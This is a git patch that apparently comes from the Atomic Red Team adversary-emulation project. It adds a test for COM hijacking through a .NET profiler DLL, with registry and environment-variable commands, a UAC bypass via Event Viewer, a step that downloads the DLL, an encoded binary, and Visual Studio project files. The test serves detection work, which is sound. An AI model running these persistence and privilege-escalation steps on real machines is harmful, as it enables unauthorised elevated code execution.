From 9b73020cee2ee860dc9d79effde0e32b0e8e9567 Mon Sep 17 00:00:00 2001
From: Jesse Brown <jessecbrown@gmail.com>
Date: Fri, 1 May 2020 20:36:27 -0400
Subject: [PATCH] add T1122 COM Hijacking leveraging .NET profiler dll (#969)

* t1122 first blood

* add T1122 COM Hijacking leveraging .NET profiler dll

* update gitignore an cleanup

* a little more clean up :D and gitignores

* remove precopiled objs
---
 .gitignore                                    |  16 ++
 atomics/T1122/T1122.yaml                      |  50 ++++++
 atomics/T1122/bin/T1122x64.dll                | Bin 0 -> 9728 bytes
 atomics/T1122/src/atomicNotepad.sln           |  31 ++++
 .../src/atomicNotepad/atomicNotepad.vcxproj   | 169 ++++++++++++++++++
 .../atomicNotepad.vcxproj.filters             |  33 ++++
 .../atomicNotepad/atomicNotepad.vcxproj.user  |   4 +
 atomics/T1122/src/atomicNotepad/dllmain.cpp   |  19 ++
 atomics/T1122/src/atomicNotepad/framework.h   |   5 +
 atomics/T1122/src/atomicNotepad/pch.cpp       |   5 +
 atomics/T1122/src/atomicNotepad/pch.h         |  13 ++
 .../T1122/src/x64/Release/atomicNotepad.dll   | Bin 0 -> 9728 bytes
 12 files changed, 345 insertions(+)
 create mode 100644 atomics/T1122/T1122.yaml
 create mode 100644 atomics/T1122/bin/T1122x64.dll
 create mode 100644 atomics/T1122/src/atomicNotepad.sln
 create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj
 create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters
 create mode 100644 atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user
 create mode 100644 atomics/T1122/src/atomicNotepad/dllmain.cpp
 create mode 100644 atomics/T1122/src/atomicNotepad/framework.h
 create mode 100644 atomics/T1122/src/atomicNotepad/pch.cpp
 create mode 100644 atomics/T1122/src/atomicNotepad/pch.h
 create mode 100644 atomics/T1122/src/x64/Release/atomicNotepad.dll

diff --git a/.gitignore b/.gitignore
index 728f7463..b07d4684 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,8 +2,24 @@
 .DS_Store
 .vscode
 .atom
+
 atomic-red-team/enterprise-attack.json
 
+# Compiled Object files
+*.slo
+*.lo
+*.o
+*.obj
+
+# vs logs
+*.tlog
+*.log
+
+# Precompiled Headers
+*.gch
+*.pch
+
+
 docs/.sass-cache/
 docs/_site/
 **/Invoke-AtomicTest-ExecutionLog.csv
diff --git a/atomics/T1122/T1122.yaml b/atomics/T1122/T1122.yaml
new file mode 100644
index 00000000..99ca39ce
--- /dev/null
+++ b/atomics/T1122/T1122.yaml
@@ -0,0 +1,50 @@
+---
+attack_technique: T1122
+display_name: Component Object Model (COM) Hijacking
+
+atomic_tests:
+- name: COM Hijack Leveraging .NET profiler DLL
+  description: |
+    Creates environment variables and CLSID to enable a .NET profiler. The profiler DLL (`atomicNotepad.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. 
+
+  supported_platforms:
+    - windows
+
+  input_arguments:
+    file_name:
+      description: profiler DLL
+      type: Path
+      default: PathToAtomicsFolder\T1122\bin\T1122x64.dll
+    clsid_guid:
+      description: custom clsid guid
+      type: String
+      default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
+
+  dependency_executor_name: powershell
+  dependencies:
+    - description: |
+        #{file_name} must be present
+      prereq_command: | # commands to check if prerequisites for running this test are met. For the "command_prompt" executor, if any command returns a non-zero exit code, the pre-requisites are not met. For the "powershell" executor, all commands are run as a script block and the script block must return 0 for success.
+        if (Test-Path #{file_name}) {exit 0} else {exit 1}
+      get_prereq_command: | 
+        New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
+        Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1122/bin/T1122x64.dll" -OutFile "#{file_name}"
+
+  executor:
+    name: powershell
+    elevation_required: false
+    command: |
+      Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
+      New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value #{file_name} -Force | Out-Null
+      New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
+      New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
+      New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
+      Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
+      START MMC.EXE EVENTVWR.MSC
+      Start-Sleep 5
+    cleanup_command: |
+      Write-Host "Removing registry keys" -ForegroundColor Cyan
+      Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force
+      Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force | Out-Null
+      Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force | Out-Null
+      Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Force | Out-Null
\ No newline at end of file
diff --git a/atomics/T1122/bin/T1122x64.dll b/atomics/T1122/bin/T1122x64.dll
new file mode 100644
index 0000000000000000000000000000000000000000..d198b0aac485fde940250276db0e6a43a054a622
GIT binary patch
literal 9728
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

literal 0
HcmV?d00001

diff --git a/atomics/T1122/src/atomicNotepad.sln b/atomics/T1122/src/atomicNotepad.sln
new file mode 100644
index 00000000..81eab91d
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30011.22
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "atomicNotepad", "atomicNotepad\atomicNotepad.vcxproj", "{53529597-67F0-4159-AD9B-DE118E7C1A0D}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Debug|x64.ActiveCfg = Debug|x64
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Debug|x64.Build.0 = Debug|x64
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Debug|x86.ActiveCfg = Debug|Win32
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Debug|x86.Build.0 = Debug|Win32
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Release|x64.ActiveCfg = Release|x64
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Release|x64.Build.0 = Release|x64
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Release|x86.ActiveCfg = Release|Win32
+		{53529597-67F0-4159-AD9B-DE118E7C1A0D}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {C1ED96A7-1052-454C-9B56-302FD3426CCC}
+	EndGlobalSection
+EndGlobal
diff --git a/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj
new file mode 100644
index 00000000..fdcc818c
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj
@@ -0,0 +1,169 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <ProjectGuid>{53529597-67F0-4159-AD9B-DE118E7C1A0D}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>atomicNotepad</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableUAC>false</EnableUAC>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableUAC>false</EnableUAC>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableUAC>false</EnableUAC>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;ATOMICNOTEPAD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableUAC>false</EnableUAC>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClInclude Include="framework.h" />
+    <ClInclude Include="pch.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="dllmain.cpp" />
+    <ClCompile Include="pch.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+    </ClCompile>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters
new file mode 100644
index 00000000..d4f9881b
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.filters
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="framework.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
